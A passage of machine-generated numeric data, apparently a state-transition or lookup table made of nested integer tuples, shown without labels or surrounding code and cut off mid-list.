{0,{13905,0,15463,0}}, {0,{15467,15468,15468,15468}}, {0,{14142,6611,15463,0}}, {0,{13905,6611,15463,0}}, {0,{15465,15465,15465,15465}}, {0,{15469,15471,15469,13913}}, {0,{15468,15468,15468,15468}}, {0,{15473,12983,15448,12914}}, {0,{15474,15478,15474,15487}}, {0,{15475,15477,14424,13913}}, {0,{15476,14402,14402,14402}}, {0,{14142,14403,0,0}}, {0,{14411,14413,14413,14413}}, {0,{15475,15477,15479,13913}}, {0,{15480,15480,15480,15480}}, {0,{15481,14403,0,0}}, {0,{13906,0,0,15482}}, {0,{0,0,0,15483}}, {0,{0,0,0,15484}}, {0,{0,0,0,15485}}, {0,{0,15486,0,0}}, {2324,{0,0,0,0}}, {0,{14424,15488,14424,13913}}, {0,{14413,14413,14413,14413}}, {0,{15490,15520,13193,15521}}, {0,{15491,12995,15494,12995}}, {0,{15492,12914,12914,12914}}, {0,{15493,15493,15493,15493}}, {0,{14520,15246,14520,0}}, {0,{15495,12914,12914,12914}}, {0,{15496,15496,15496,15519}}, {0,{15497,15517,15497,0}}, {0,{15498,15498,15498,15498}}, {0,{0,0,15499,0}}, {0,{7818,0,7818,15500}}, {0,{0,0,0,15501}}, {0,{15502,0,14515,0}}, {0,{0,15503,0,0}}, {2325,{15504,15504,15504,0}}, {0,{0,0,0,15505}}, {0,{15506,15506,15506,15506}}, {0,{15507,15507,15507,0}}, {0,{15508,15508,15508,15508}}, {0,{15509,15509,15509,15509}}, {0,{15510,15510,15510,15510}}, {0,{0,0,0,15511}}, {0,{0,0,0,15512}}, {0,{0,0,0,15513}}, {0,{0,0,0,15514}}, {0,{0,0,0,15515}}, {0,{0,0,15516,0}}, {2326,{0,0,0,0}}, {0,{15518,15518,15518,15518}}, {0,{0,6611,15499,0}}, {0,{14573,15275,14573,0}}, {0,{15491,12995,15491,12995}}, {0,{15522,12995,12995,12995}}, {0,{15523,12914,12914,12914}}, {0,{15524,15540,15547,15540}}, {0,{15525,15535,15525,15538}}, {0,{15526,15526,15526,15526}}, {0,{15527,15527,15533,15527}}, {0,{15528,15528,15528,15528}}, {0,{0,0,0,15529}}, {0,{0,0,0,15530}}, {0,{0,0,0,15531}}, {0,{15532,0,0,0}}, {2327,{0,0,0,0}}, {0,{15528,15528,15528,15534}}, {2328,{0,0,0,15529}}, {0,{15536,15536,15536,15536}}, {0,{15527,15537,15533,15527}}, {2330,{15528,15528,15528,15528}}, {0,{15539,15539,15539,15539}}, {0,{15527,15527,15527,15527}}, {0,{15541,15545,15541,0}}, {0,{15542,15542,15542,15542}}, {0,{0,0,15543,0}}, {0,{0,0,0,15544}}, {2331,{0,0,0,0}}, {0,{15546,15546,15546,15546}}, {0,{0,6611,15543,0}}, {0,{15548,15556,15548,0}}, {0,{15549,15549,15549,15549}}, {0,{0,0,15550,0}}, {0,{0,0,0,15551}}, {2332,{0,0,0,15552}}, {0,{0,0,0,15553}}, {0,{0,0,0,15554}}, {0,{0,0,15555,0}}, {2333,{0,0,0,0}}, {0,{15557,15557,15557,15557}}, {0,{0,6611,15550,0}}, {0,{13192,13192,13192,13192}}, {0,{15560,15573,0,0}}, {0,{15561,15563,15561,15564}}, {0,{15313,15313,15562,15313}}, {0,{12456,0,15314,0}}, {0,{15313,15313,15313,15313}}, {0,{15565,15313,15570,15313}}, {0,{15566,0,15314,0}}, {0,{15567,15567,15567,15567}}, {0,{15568,15568,15568,0}}, {0,{15569,15569,15569,15569}}, {0,{0,0,15463,0}}, {0,{15571,0,15314,0}}, {0,{15572,15572,15572,15572}}, {0,{14819,14819,14819,0}}, {0,{15574,15578,13484,15579}}, {0,{15329,0,15575,0}}, {0,{15576,0,0,0}}, {0,{15577,15577,15577,15334}}, {0,{15497,15497,15497,0}}, {0,{15329,0,15329,0}}, {0,{15580,0,0,0}}, {0,{15581,0,0,0}}, {0,{15582,15583,15584,15583}}, {0,{15525,15525,15525,15538}}, {0,{15541,15541,15541,0}}, {0,{15548,15548,15548,0}}, {0,{15586,15611,0,0}}, {0,{15587,15598,15600,15602}}, {0,{15361,15361,15588,15361}}, {0,{12456,0,15589,0}}, {0,{15590,15590,15590,15590}}, {0,{15591,15591,15591,14965}}, {0,{15592,15592,15592,15592}}, {0,{14967,14100,15593,0}}, {0,{14101,0,0,15594}}, {0,{0,0,0,15595}}, {0,{0,15596,0,0}}, {0,{0,15597,0,0}}, {2334,{0,0,0,0}}, {0,{15361,15361,15599,15361}}, {0,{0,0,15589,0}}, {0,{15361,15361,15601,15361}}, {0,{12456,0,15362,0}}, {0,{15603,15407,15608,15407}}, {0,{15604,12583,15362,0}}, {0,{15605,15605,15605,15605}}, {0,{15606,15606,15606,11386}}, {0,{15607,15607,15607,15607}}, {0,{11388,0,15463,0}}, {0,{15609,12583,15362,0}}, {0,{15610,15610,15610,15610}}, {0,{15051,15051,15051,11386}}, {0,{15574,15612,13484,15579}}, {0,{15329,0,15613,0}}, {0,{15330,0,15614,0}}, {0,{15615,15615,15615,15615}}, {0,{15616,15616,15616,0}}, {0,{15617,15617,15617,15617}}, {0,{15618,0,0,0}}, {0,{0,0,0,15619}}, {0,{0,0,0,15620}}, {0,{15621,0,0,0}}, {0,{15622,0,0,0}}, {2335,{0,0,0,0}}, {0,{0,15624,0,0}}, {0,{0,0,0,15625}}, {0,{15626,0,0,0}}, {0,{15627,0,0,0}}, {0,{15628,0,0,0}}, {0,{15538,15538,15538,15538}}, {0,{15630,15636,15638,0}}, {0,{15631,0,0,0}}, {0,{15632,15632,15632,15632}}, {0,{15633,15633,15633,15633}}, {0,{15634,0,15314,0}}, {0,{15635,15635,15635,15635}}, {0,{13913,13913,13913,13913}}, {0,{15637,0,0,0}}, {0,{15563,15563,15563,15563}}, {0,{15639,0,0,0}}, {0,{15640,15640,15640,15641}}, {0,{15361,15361,15361,15361}}, {0,{15407,15407,15407,15407}}, {0,{15643,17006,17100,17115}}, {0,{15644,16196,16784,17000}}, {0,{15645,16163,16163,16180}}, {0,{15646,16105,16105,16133}}, {0,{15647,16058,16061,16094}}, {0,{15648,16028,16049,16049}}, {0,{15649,15994,16023,16026}}, {0,{15650,15944,15969,15993}}, {0,{15651,15924,15924,15925}}, {0,{15652,15901,15902,15901}}, {0,{15653,15873,15876,15885}}, {0,{15654,15654,15654,15743}}, {0,{15655,15655,15655,15655}}, {0,{15656,15656,15656,15656}}, {0,{15657,3881,3881,3883}}, {0,{15658,15658,15733,15733}}, {0,{3832,3832,15659,0}}, {0,{15660,15712,15732,15732}}, {0,{15661,15700,15711,15711}}, {0,{15662,15689,15689,15690}}, {0,{15663,15688,15688,15688}}, {0,{15664,15679,15687,15687}}, {0,{15665,15665,15665,15672}}, {0,{15666,15666,15666,15666}}, {0,{15667,15667,15667,15667}}, {0,{15668,15668,15668,15668}}, {0,{15669,15669,15669,15669}}, {0,{15670,15670,15670,15670}}, {0,{3358,3358,15671,3444}}, {2336,{3359,3359,3359,3434}}, {0,{15673,15673,15673,15673}}, {0,{15674,15674,15674,15674}}, {0,{15675,15675,15675,15675}}, {0,{15676,15676,15676,15676}}, {0,{15677,15677,15677,15677}}, {0,{3576,3576,15678,3576}}, {2337,{3577,3577,3577,3577}}, {0,{15680,15680,15680,15672}}, {0,{15681,15681,15681,15681}}, {0,{15682,15682,15682,15682}}, {0,{15683,15683,15683,15683}}, {0,{15684,15684,15684,15684}}, {0,{15685,15685,15685,15685}}, {0,{3444,3444,15686,3444}}, {2338,{3434,3434,3434,3434}}, {0,{15672,15672,15672,15672}}, {0,{15687,15687,15687,15687}}, {0,{15688,15688,15688,15688}}, {0,{15691,15691,15691,15691}}, {0,{15692,15692,15692,15692}}, {0,{15693,15693,15693,15693}}, {0,{15694,15694,15694,15694}}, {0,{15695,15695,15695,15695}}, {0,{15696,15696,15696,15696}}, {0,{15697,15697,15697,15697}}, {0,{15698,15698,15698,15698}}, {0,{0,0,15699,0}}, {2339,{0,0,0,0}}, {0,{15701,15690,15690,15690}}, {0,{15702,15691,15691,15691}}, {0,{15703,15692,15692,15692}}, {0,{15704,15704,15704,15693}}, {0,{15705,15705,15705,15705}}, {0,{15706,15706,15706,15706}}, {0,{15707,15707,15707,15707}}, {0,{15708,15708,15708,15708}}, {0,{15709,15709,15709,15709}}, {0,{3679,3679,15710,0}}, {2340,{3680,3680,3680,0}}, {0,{15690,15690,15690,15690}}, {0,{15713,15700,15711,15711}}, {0,{15714,15690,15690,15690}}, {0,{15715,15691,15691,15691}}, {0,{15716,15724,15692,15692}}, {0,{15717,15717,15717,15693}}, {0,{15718,15718,15718,15718}}, {0,{15719,15719,15719,15719}}, {0,{15720,15720,15720,15720}}, {0,{15721,15721,15721,15721}}, {0,{15722,15722,15722,15722}}, {0,{3704,3704,15723,3711}}, {2341,{3705,3705,3705,3708}}, {0,{15725,15725,15725,15693}}, {0,{15726,15726,15726,15726}}, {0,{15727,15727,15727,15727}}, {0,{15728,15728,15728,15728}}, {0,{15729,15729,15729,15729}}, {0,{15730,15730,15730,15730}}, {0,{3711,3711,15731,3711}}, {2342,{3708,3708,3708,3708}}, {0,{15711,15711,15711,15711}}, {0,{3852,3852,15734,0}}, {0,{15735,15739,15732,15732}}, {0,{15736,15711,15711,15711}}, {0,{15737,15689,15689,15690}}, {0,{15738,15688,15688,15688}}, {0,{15679,15679,15687,15687}}, {0,{15740,15711,15711,15711}}, {0,{15741,15690,15690,15690}}, {0,{15742,15691,15691,15691}}, {0,{15724,15724,15692,15692}}, {0,{15744,15869,15869,15869}}, {0,{15745,15745,15765,15745}}, {0,{15746,3881,3881,3883}}, {0,{15747,15747,15762,15762}}, {0,{15748,3832,15659,0}}, {0,{15749,3839,0,0}}, {0,{3834,15750,0,0}}, {0,{15751,10837,10837,10837}}, {0,{15752,10838,10838,10838}}, {0,{15753,10839,10839,10839}}, {0,{15754,15754,15754,10840}}, {0,{3674,3674,3674,15755}}, {0,{3675,3675,3675,15756}}, {0,{3676,3676,3676,15757}}, {0,{15758,3677,3677,3677}}, {0,{15759,15759,15759,15759}}, {0,{15760,3679,3679,0}}, {0,{15761,15761,15761,9219}}, {0,{4203,4203,4203,4203}}, {0,{15763,3852,15734,0}}, {0,{15764,3857,0,0}}, {0,{3854,10836,0,0}}, {0,{15766,15854,15854,15856}}, {0,{15767,15747,15762,15762}}, {0,{15768,15816,15818,15853}}, {0,{15769,15806,15815,15815}}, {0,{15770,15792,15805,15805}}, {0,{15771,15782,15782,15783}}, {0,{15772,15781,15781,15781}}, {0,{15773,3746,15780,3748}}, {0,{3744,3744,3744,15774}}, {0,{3571,3571,3571,15775}}, {0,{3572,3572,3572,15776}}, {0,{3573,3573,3573,15777}}, {0,{15778,15778,15778,15778}}, {0,{3575,15779,3575,3575}}, {2343,{3576,3576,3576,3576}}, {0,{3745,3745,3745,15774}}, {0,{15780,3748,15780,3748}}, {0,{15781,15781,15781,15781}}, {0,{15784,15784,15784,15784}}, {0,{15785,0,15785,0}}, {0,{0,0,0,15786}}, {0,{0,0,0,15787}}, {0,{0,0,0,15788}}, {0,{0,0,0,15789}}, {0,{15790,15790,15790,15790}}, {0,{0,15791,0,0}}, {2344,{0,0,0,0}}, {0,{15793,15804,15804,15804}}, {0,{15794,15803,15803,15803}}, {0,{15795,10839,15802,10839}}, {0,{15754,15754,15754,15796}}, {0,{0,0,0,15797}}, {0,{0,0,0,15798}}, {0,{0,0,0,15799}}, {0,{15800,15790,15790,15790}}, {0,{9308,15801,9308,9308}}, {2345,{9218,0,0,0}}, {0,{10840,10840,10840,15796}}, {0,{15802,10839,15802,10839}}, {0,{15803,15803,15803,15803}}, {0,{15783,15783,15783,15783}}, {0,{15807,15811,15805,15805}}, {0,{15808,15783,15783,15783}}, {0,{15809,15784,15784,15784}}, {0,{15810,3770,15785,0}}, {0,{3769,3769,3769,15786}}, {0,{15812,15783,15783,15783}}, {0,{15813,15784,15784,15784}}, {0,{15814,0,15785,0}}, {0,{3762,3762,3762,15786}}, {0,{15805,15805,15805,15805}}, {0,{15817,15806,15815,15815}}, {0,{15770,15811,15805,15805}}, {0,{15819,15847,15852,15852}}, {0,{15820,15842,15846,15846}}, {0,{15821,15832,15832,15833}}, {0,{15822,15831,15831,15831}}, {0,{15823,15679,15830,15687}}, {0,{15665,15665,15665,15824}}, {0,{15673,15673,15673,15825}}, {0,{15674,15674,15674,15826}}, {0,{15675,15675,15675,15827}}, {0,{15828,15828,15828,15828}}, {0,{15677,15829,15677,15677}}, {2346,{3576,3576,15678,3576}}, {0,{15672,15672,15672,15824}}, {0,{15830,15687,15830,15687}}, {0,{15831,15831,15831,15831}}, {0,{15834,15834,15834,15834}}, {0,{15835,15692,15835,15692}}, {0,{15693,15693,15693,15836}}, {0,{15694,15694,15694,15837}}, {0,{15695,15695,15695,15838}}, {0,{15696,15696,15696,15839}}, {0,{15840,15840,15840,15840}}, {0,{15698,15841,15698,15698}}, {2347,{0,0,15699,0}}, {0,{15843,15833,15833,15833}}, {0,{15844,15834,15834,15834}}, {0,{15845,15692,15835,15692}}, {0,{15704,15704,15704,15836}}, {0,{15833,15833,15833,15833}}, {0,{15848,15842,15846,15846}}, {0,{15849,15833,15833,15833}}, {0,{15850,15834,15834,15834}}, {0,{15851,15724,15835,15692}}, {0,{15717,15717,15717,15836}}, {0,{15846,15846,15846,15846}}, {0,{15815,15815,15815,15815}}, {0,{15855,3864,3865,3865}}, {0,{15816,15816,15816,15853}}, {0,{15857,3865,3865,3865}}, {0,{15858,15858,15858,15853}}, {0,{15859,15864,15815,15815}}, {0,{15860,15805,15805,15805}}, {0,{15861,15782,15782,15783}}, {0,{15862,15781,15781,15781}}, {0,{15863,3746,15780,3748}}, {0,{3747,3747,3747,15774}}, {0,{15865,15805,15805,15805}}, {0,{15866,15783,15783,15783}}, {0,{15867,15784,15784,15784}}, {0,{15868,3770,15785,0}}, {0,{3771,3771,3771,15786}}, {0,{15656,15656,15870,15656}}, {0,{15871,15854,15854,15856}}, {0,{15872,15658,15733,15733}}, {0,{15816,15816,15818,15853}}, {0,{15654,15654,15654,15874}}, {0,{15875,15655,15655,15655}}, {0,{15745,15745,15745,15745}}, {0,{15877,15877,15877,15881}}, {0,{15878,15878,15878,15878}}, {0,{15879,15879,15879,15879}}, {0,{15880,3883,3883,3883}}, {0,{15733,15733,15733,15733}}, {0,{15882,15878,15878,15878}}, {0,{15883,15883,15883,15883}}, {0,{15884,3883,3883,3883}}, {0,{15762,15762,15762,15762}}, {0,{15886,15886,15886,15894}}, {0,{15887,15887,15887,15887}}, {0,{15888,15888,15888,15888}}, {0,{15889,4796,4796,4796}}, {0,{15890,15890,15890,15890}}, {0,{4793,4793,15891,0}}, {0,{15892,15732,15732,15732}}, {0,{15893,15711,15711,15711}}, {0,{15689,15689,15689,15690}}, {0,{15895,15887,15887,15887}}, {0,{15896,15896,15896,15896}}, {0,{15897,4796,4796,4796}}, {0,{15898,15898,15898,15898}}, {0,{15899,4793,15891,0}}, {0,{15900,0,0,0}}, {0,{4795,10836,0,0}}, {0,{15885,15885,15885,15885}}, {0,{15903,15885,15885,15885}}, {0,{15886,15886,15886,15904}}, {0,{15905,15920,15920,15920}}, {0,{15896,15896,15906,15896}}, {0,{15907,15918,15918,15918}}, {0,{15908,15898,15898,15898}}, {0,{15909,15913,15915,15853}}, {0,{15910,15815,15815,15815}}, {0,{15911,15912,15805,15805}}, {0,{15782,15782,15782,15783}}, {0,{15804,15804,15804,15804}}, {0,{15914,15815,15815,15815}}, {0,{15911,15805,15805,15805}}, {0,{15916,15852,15852,15852}}, {0,{15917,15846,15846,15846}}, {0,{15832,15832,15832,15833}}, {0,{15919,4797,4797,4797}}, {0,{15913,15913,15913,15853}}, {0,{15888,15888,15921,15888}}, {0,{15922,15918,15918,15918}}, {0,{15923,15890,15890,15890}}, {0,{15913,15913,15915,15853}}, {0,{15902,15901,15902,15901}}, {0,{15926,15943,15926,15943}}, {0,{15927,15942,15942,15942}}, {0,{15928,15928,15928,15934}}, {0,{15929,15929,15929,15929}}, {0,{15930,15930,15930,15930}}, {0,{15931,0,0,0}}, {0,{15932,15932,15932,15932}}, {0,{0,0,15933,0}}, {0,{15732,15732,15732,15732}}, {0,{15935,15935,15935,15935}}, {0,{15930,15930,15936,15930}}, {0,{15937,15940,15940,15940}}, {0,{15938,15932,15932,15932}}, {0,{15853,15853,15939,15853}}, {0,{15852,15852,15852,15852}}, {0,{15941,0,0,0}}, {0,{15853,15853,15853,15853}}, {0,{15928,15928,15928,15928}}, {0,{15942,15942,15942,15942}}, {2349,{15945,15968,15968,15968}}, {0,{15946,15967,15926,15943}}, {0,{15947,15966,15942,15942}}, {0,{15948,15948,15948,15955}}, {0,{15949,15949,15949,15949}}, {0,{15950,15950,15950,15950}}, {0,{15951,4991,4991,0}}, {0,{15952,15952,15932,15932}}, {0,{4978,4978,15953,0}}, {0,{15954,15954,15732,15732}}, {0,{15700,15700,15711,15711}}, {0,{15956,15956,15956,15956}}, {0,{15950,15950,15957,15950}}, {0,{15958,15964,15964,15940}}, {0,{15959,15952,15932,15932}}, {0,{15960,15960,15962,15853}}, {0,{15961,15961,15815,15815}}, {0,{15811,15811,15805,15805}}, {0,{15963,15963,15852,15852}}, {0,{15842,15842,15846,15846}}, {0,{15965,4982,0,0}}, {0,{15960,15960,15960,15853}}, {0,{15948,15948,15948,15948}}, {2351,{15942,15942,15942,15942}}, {0,{15926,15967,15926,15943}}, {0,{15970,15970,15970,15970}}, {0,{15971,15992,15971,15992}}, {0,{15972,15991,15991,15991}}, {0,{15973,15973,15973,15980}}, {0,{15974,15974,15974,15974}}, {0,{15975,15975,15975,15975}}, {0,{15976,5331,5331,0}}, {0,{15977,15977,15977,15977}}, {0,{5320,5320,15978,5320}}, {0,{15979,15732,15732,15732}}, {2352,{15711,15711,15711,15711}}, {0,{15981,15981,15981,15981}}, {0,{15975,15975,15982,15975}}, {0,{15983,15989,15989,15940}}, {0,{15984,15977,15977,15977}}, {0,{15985,15985,15987,15985}}, {0,{15986,15815,15815,15815}}, {2353,{15805,15805,15805,15805}}, {0,{15988,15852,15852,15852}}, {2354,{15846,15846,15846,15846}}, {0,{15990,5324,5324,5324}}, {0,{15985,15985,15985,15985}}, {0,{15973,15973,15973,15973}}, {0,{15991,15991,15991,15991}}, {0,{15925,15925,15925,15925}}, {2355,{15995,16014,16022,16022}}, {0,{15996,16007,16007,16008}}, {0,{15997,6604,16002,6604}}, {0,{15998,6532,6603,6540}}, {0,{6446,6446,6446,15999}}, {0,{16000,16000,16000,16000}}, {0,{6445,6445,16001,6445}}, {0,{15854,15854,15854,15856}}, {0,{16003,6540,6540,6540}}, {0,{6541,6541,6541,16004}}, {0,{16005,16005,16005,16005}}, {0,{6543,6543,16006,6543}}, {0,{15918,15918,15918,15918}}, {0,{16002,6604,16002,6604}}, {0,{16009,0,16009,0}}, {0,{16010,0,0,0}}, {0,{0,0,0,16011}}, {0,{16012,16012,16012,16012}}, {0,{0,0,16013,0}}, {0,{15940,15940,15940,15940}}, {2356,{16015,16021,16021,16021}}, {0,{16016,6611,16009,0}}, {0,{16017,6586,0,0}}, {0,{6577,6577,6577,16018}}, {0,{16019,16019,16019,16019}}, {0,{6576,6576,16020,6576}}, {0,{15964,15964,15964,15940}}, {0,{16009,6611,16009,0}}, {0,{16008,16008,16008,16008}}, {0,{16024,16025,16022,16022}}, {2357,{15996,16007,16007,16008}}, {2359,{16015,16021,16021,16021}}, {0,{16022,16027,16022,16022}}, {2360,{16021,16021,16021,16021}}, {0,{16029,6615,16046,6616}}, {0,{16030,16035,16043,16045}}, {0,{16031,16033,16033,16034}}, {0,{16032,15901,15901,15901}}, {0,{15873,15873,15876,15885}}, {0,{15901,15901,15901,15901}}, {0,{15943,15943,15943,15943}}, {2362,{16036,16040,16040,16042}}, {0,{16037,15967,15943,15943}}, {0,{16038,16038,16039,15942}}, {2363,{15948,15948,15948,15948}}, {2364,{15928,15928,15928,15928}}, {0,{16041,15967,15943,15943}}, {0,{16039,16039,16039,15942}}, {0,{15943,15967,15943,15943}}, {0,{16044,16044,16044,16044}}, {0,{15992,15992,15992,15992}}, {0,{16034,16034,16034,16034}}, {0,{16047,16048,0,0}}, {2365,{6601,6605,6605,0}}, {2367,{6607,6612,6612,6614}}, {0,{16050,6671,16055,6669}}, {0,{16051,16054,16043,16045}}, {0,{16052,16033,16033,16034}}, {0,{16053,15901,15901,15901}}, {0,{15876,15876,15876,15885}}, {2369,{16042,16042,16042,16042}}, {0,{16056,16057,0,0}}, {2370,{6621,6605,6605,0}}, {2372,{6614,6614,6614,6614}}, {0,{16059,6598,6670,6670}}, {0,{16060,15994,16060,16026}}, {0,{15995,16014,16022,16022}}, {0,{16062,14277,14313,14313}}, {0,{16063,15994,16071,16026}}, {0,{15995,16014,16064,16022}}, {0,{16065,16065,16065,16065}}, {0,{16066,7408,16066,7408}}, {0,{16067,7172,7172,7172}}, {0,{7158,7158,7158,16068}}, {0,{16069,16069,16069,16069}}, {0,{7156,7156,16070,7156}}, {0,{15989,15989,15989,15940}}, {0,{16072,16014,16022,16022}}, {0,{16073,16086,16086,16087}}, {0,{16074,7414,16080,7414}}, {0,{16075,7413,7262,7267}}, {0,{7255,7255,7255,16076}}, {0,{16077,16077,16077,16077}}, {0,{7252,7252,16078,7252}}, {0,{16079,15854,15854,15856}}, {2373,{15855,3864,3865,3865}}, {0,{16081,7267,7267,7267}}, {0,{7268,7268,7268,16082}}, {0,{16083,16083,16083,16083}}, {0,{7270,7270,16084,7270}}, {0,{16085,15918,15918,15918}}, {2374,{15919,4797,4797,4797}}, {0,{16080,7414,16080,7414}}, {0,{16088,7417,16088,7417}}, {0,{16089,7317,7317,7317}}, {0,{7311,7311,7311,16090}}, {0,{16091,16091,16091,16091}}, {0,{7308,7308,16092,7308}}, {0,{16093,15940,15940,15940}}, {2375,{15941,0,0,0}}, {0,{16095,6670,6670,6670}}, {0,{16096,16104,16096,16026}}, {0,{16097,16027,16022,16022}}, {0,{16098,16007,16007,16008}}, {0,{16099,6604,16002,6604}}, {0,{16100,6603,6603,6540}}, {0,{6534,6534,6534,16101}}, {0,{16102,16102,16102,16102}}, {0,{6536,6536,16103,6536}}, {0,{15856,15856,15856,15856}}, {2376,{16097,16027,16022,16022}}, {0,{16106,16058,16061,16094}}, {0,{16107,16122,16128,16128}}, {0,{16108,15994,16023,16026}}, {0,{16109,15944,15969,15993}}, {0,{16110,16121,16121,15925}}, {0,{16111,16117,16118,16117}}, {0,{16112,16114,16115,16116}}, {0,{15654,15654,15654,16113}}, {0,{15869,15869,15869,15869}}, {0,{15654,15654,15654,15654}}, {0,{15877,15877,15877,15877}}, {0,{15886,15886,15886,15886}}, {0,{16116,16116,16116,16116}}, {0,{16119,16116,16116,16116}}, {0,{15886,15886,15886,16120}}, {0,{15920,15920,15920,15920}}, {0,{16118,16117,16118,16117}}, {0,{16123,6615,16046,6616}}, {0,{16124,16035,16043,16045}}, {0,{16125,16127,16127,16034}}, {0,{16126,16117,16117,16117}}, {0,{16114,16114,16115,16116}}, {0,{16117,16117,16117,16117}}, {0,{16129,6671,16055,6669}}, {0,{16130,16054,16043,16045}}, {0,{16131,16127,16127,16034}}, {0,{16132,16117,16117,16117}}, {0,{16115,16115,16115,16116}}, {0,{16134,16158,16159,7599}}, {0,{16135,16154,16156,16156}}, {0,{16136,16140,16152,6669}}, {0,{16124,16137,16043,16045}}, {2378,{16138,16042,16042,16042}}, {0,{16139,15967,15943,15943}}, {0,{15966,15966,15942,15942}}, {2379,{6600,7557,16141,0}}, {0,{16142,16142,16142,16142}}, {0,{16143,16143,16143,16143}}, {0,{16144,16144,16144,16144}}, {0,{0,0,0,16145}}, {0,{0,0,0,16146}}, {0,{0,0,0,16147}}, {0,{0,0,16148,0}}, {0,{16149,16149,16149,16149}}, {0,{16150,16150,16150,16150}}, {0,{0,0,16151,0}}, {2380,{0,0,0,0}}, {0,{16047,16153,0,0}}, {2382,{7558,6614,6614,6614}}, {0,{16123,16155,16046,6616}}, {2383,{6600,6606,16141,0}}, {0,{16129,16157,16055,6669}}, {2384,{6620,6623,16141,0}}, {0,{7555,6598,6670,6670}}, {0,{16160,14277,14313,14313}}, {0,{16161,7560,16162,6669}}, {0,{6600,7557,7406,0}}, {0,{7410,7557,0,0}}, {0,{16164,16171,16171,16176}}, {0,{16165,8545,14631,8545}}, {0,{16166,16166,16166,16166}}, {0,{16167,8549,16169,6669}}, {0,{16168,16054,16043,16045}}, {0,{16033,16033,16033,16034}}, {0,{16170,16057,0,0}}, {2385,{6605,6605,6605,0}}, {0,{16172,8545,14631,8545}}, {0,{16173,16173,16173,16173}}, {0,{16174,8549,16169,6669}}, {0,{16175,16054,16043,16045}}, {0,{16127,16127,16127,16034}}, {0,{16177,8545,14631,8545}}, {0,{16178,16178,16178,16178}}, {0,{16174,16179,16169,6669}}, {2386,{8548,6623,16141,0}}, {0,{16181,16188,16188,16192}}, {0,{16182,9106,14647,9106}}, {0,{16183,16183,16183,16183}}, {0,{16184,9110,16186,9111}}, {0,{16168,16185,16043,16045}}, {2388,{16034,16034,16034,16034}}, {0,{16170,16187,0,0}}, {2390,{0,0,0,0}}, {0,{16189,9106,14647,9106}}, {0,{16190,16190,16190,16190}}, {0,{16191,9110,16186,9111}}, {0,{16175,16185,16043,16045}}, {0,{16193,9106,14647,9106}}, {0,{16194,16194,16194,16194}}, {0,{16191,16195,16186,9111}}, {2391,{8548,9109,16141,0}}, {0,{16197,16764,16783,16783}}, {0,{16198,16682,16705,16753}}, {0,{16199,16469,16486,16680}}, {0,{16200,16460,16460,16460}}, {0,{16201,16371,16384,16459}}, {0,{16202,16355,16370,15993}}, {0,{16203,16203,16203,16332}}, {0,{16204,16242,16243,16242}}, {0,{16205,16239,16239,16239}}, {0,{16206,16206,16206,16215}}, {0,{16207,16207,16207,16211}}, {0,{16208,16208,16208,16208}}, {0,{16209,0,0,0}}, {0,{16210,16210,16210,16210}}, {0,{9175,0,15933,0}}, {0,{16212,16212,16212,16212}}, {0,{16213,0,0,0}}, {0,{16214,16214,16214,16214}}, {0,{9182,0,15933,0}}, {0,{16216,16227,16227,16233}}, {0,{16217,16217,16222,16217}}, {0,{16218,0,0,0}}, {0,{16219,16219,16219,16219}}, {0,{16220,0,15933,0}}, {0,{16221,0,0,0}}, {2394,{0,10836,0,0}}, {0,{16223,15940,15940,15940}}, {0,{16224,16219,16219,16219}}, {0,{16225,15853,15939,15853}}, {0,{16226,15815,15815,15815}}, {2397,{15805,15912,15805,15805}}, {0,{16208,16208,16228,16208}}, {0,{16229,15940,15940,15940}}, {0,{16230,16210,16210,16210}}, {0,{16231,15853,15939,15853}}, {0,{16232,15815,15815,15815}}, {2400,{15805,15805,15805,15805}}, {0,{16212,16212,16234,16212}}, {0,{16235,15940,15940,15940}}, {0,{16236,16214,16214,16214}}, {0,{16237,15853,15939,15853}}, {0,{16238,15815,15815,15815}}, {2402,{15805,15805,15805,15805}}, {0,{16206,16206,16206,16240}}, {0,{16241,16207,16207,16211}}, {0,{16217,16217,16217,16217}}, {0,{16239,16239,16239,16239}}, {0,{16244,16288,16239,16239}}, {0,{16206,16206,16206,16245}}, {0,{16246,16227,16227,16233}}, {0,{16247,16217,16222,16217}}, {0,{16248,16286,16286,16286}}, {0,{16249,16219,16219,16219}}, {0,{16250,16273,16274,16273}}, {0,{16251,16272,16272,16272}}, {2405,{16252,16262,16252,16252}}, {0,{16253,16253,16253,16253}}, {0,{16254,16254,16254,16254}}, {0,{16255,0,0,0}}, {0,{0,0,0,16256}}, {0,{0,0,0,16257}}, {0,{0,0,0,16258}}, {0,{0,0,0,16259}}, {0,{16260,16260,16260,16260}}, {0,{16261,0,0,0}}, {2406,{0,0,0,0}}, {0,{16263,16263,16263,16263}}, {0,{16264,16264,16264,16264}}, {0,{16265,10839,10839,10839}}, {0,{10840,10840,10840,16266}}, {0,{0,0,0,16267}}, {0,{0,0,0,16268}}, {0,{0,0,0,16269}}, {0,{16270,16260,16260,16260}}, {0,{16271,9308,9308,9308}}, {2407,{9218,0,0,0}}, {0,{16252,16252,16252,16252}}, {0,{16272,16272,16272,16272}}, {0,{16275,16275,16275,16275}}, {0,{16276,16276,16276,16276}}, {0,{16277,16277,16277,16277}}, {0,{16278,16278,16278,16278}}, {0,{16279,15692,15692,15692}}, {0,{15693,15693,15693,16280}}, {0,{15694,15694,15694,16281}}, {0,{15695,15695,15695,16282}}, {0,{15696,15696,15696,16283}}, {0,{16284,16284,16284,16284}}, {0,{16285,15698,15698,15698}}, {2408,{0,0,15699,0}}, {0,{16287,0,0,0}}, {0,{16273,16273,16273,16273}}, {0,{16206,16206,16206,16289}}, {0,{16290,16207,16207,16211}}, {0,{16291,16217,16217,16217}}, {0,{16292,16330,16330,16330}}, {0,{16219,16219,16293,16219}}, {0,{16294,16317,16318,16317}}, {0,{16295,16316,16316,16316}}, {2411,{16296,16306,16296,16296}}, {0,{16297,16297,16297,16297}}, {0,{16298,16298,16298,16298}}, {0,{16299,0,0,0}}, {0,{0,0,0,16300}}, {0,{0,0,0,16301}}, {0,{0,0,0,16302}}, {0,{0,0,0,16303}}, {0,{16304,16304,16304,16304}}, {0,{16305,0,0,0}}, {2412,{0,0,0,0}}, {0,{16307,16307,16307,16307}}, {0,{16308,16308,16308,16308}}, {0,{16309,10839,10839,10839}}, {0,{10840,10840,10840,16310}}, {0,{0,0,0,16311}}, {0,{0,0,0,16312}}, {0,{0,0,0,16313}}, {0,{16314,16304,16304,16304}}, {0,{16315,9308,9308,9308}}, {2413,{9218,0,0,0}}, {0,{16296,16296,16296,16296}}, {0,{16316,16316,16316,16316}}, {0,{16319,16319,16319,16319}}, {0,{16320,16320,16320,16320}}, {0,{16321,16321,16321,16321}}, 